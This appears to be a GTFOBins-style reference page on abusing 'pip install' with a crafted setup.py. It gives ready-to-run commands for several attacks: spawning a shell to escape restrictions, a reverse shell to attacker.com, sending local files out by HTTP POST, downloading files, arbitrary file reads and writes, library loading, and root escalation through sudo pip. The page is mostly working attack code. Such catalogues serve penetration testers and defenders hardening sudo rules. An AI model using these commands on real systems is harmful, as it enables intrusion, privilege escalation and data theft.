Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
pip install $TF

Reverse shell

It can send back a reverse shell to a listening attacker to open a remote network access.

Run socat file:`tty`,raw,echo=0 tcp-listen:12345 on the attacker box to receive the shell.

export RHOST=attacker.com
export RPORT=12345
TF=$(mktemp -d)
echo 'import sys,socket,os,pty;s=socket.socket()
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")' > $TF/setup.py
pip install $TF

File upload

It can exfiltrate files on the network.

Send local file via “d” parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.

export URL=http://attacker.com/
export LFILE=file_to_send
TF=$(mktemp -d)
echo 'import sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u
else: import urllib as u, urllib2 as r
r.urlopen(e["URL"], bytes(u.urlencode({"d":open(e["LFILE"]).read()}).encode()))' > $TF/setup.py
pip install $TF

Serve files in the local folder running an HTTP server.

export LPORT=8888
TF=$(mktemp -d)
echo 'import sys; from os import environ as e
if sys.version_info.major == 3: import http.server as s, socketserver as ss
else: import SimpleHTTPServer as s, SocketServer as ss
ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()' > $TF/setup.py
pip install $TF

File download

It can download remote files.

Fetch a remote file via HTTP GET request. It needs an absolute local file path.

export URL=http://attacker.com/file_to_get
export LFILE=/tmp/file_to_save
TF=$(mktemp -d)
echo 'import sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r
else: import urllib as r
r.urlretrieve(e["URL"], e["LFILE"])' > $TF/setup.py
pip install $TF

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

It needs an absolute local file path.

export LFILE=/tmp/file_to_save
TF=$(mktemp -d)
echo "open('$LFILE','w+').write('DATA')" > $TF/setup.py
pip install $TF

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

The read file content is corrupted as wrapped within an exception error.

TF=$(mktemp -d)
echo 'raise Exception(open("file_to_read").read())' > $TF/setup.py
pip install $TF

Library load

It loads shared libraries that may be used to run code in the binary execution context.

TF=$(mktemp -d)
echo 'from ctypes import cdll; cdll.LoadLibrary("lib.so")' > $TF/setup.py
pip install $TF

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF